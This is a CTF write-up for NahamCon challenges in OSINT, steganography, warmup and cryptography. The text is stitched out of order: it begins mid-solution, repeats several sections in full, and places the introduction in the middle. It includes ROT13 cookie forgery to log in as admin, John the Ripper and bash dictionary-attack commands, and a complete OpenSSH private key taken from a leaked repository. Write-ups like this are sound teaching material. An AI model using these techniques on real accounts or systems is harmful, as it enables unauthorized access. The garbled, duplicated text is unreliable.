You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:

**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:

**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:

**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:

these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:

After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):

**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:

**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:

but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:

during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:

**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:

this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:

bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:

***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :

furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:

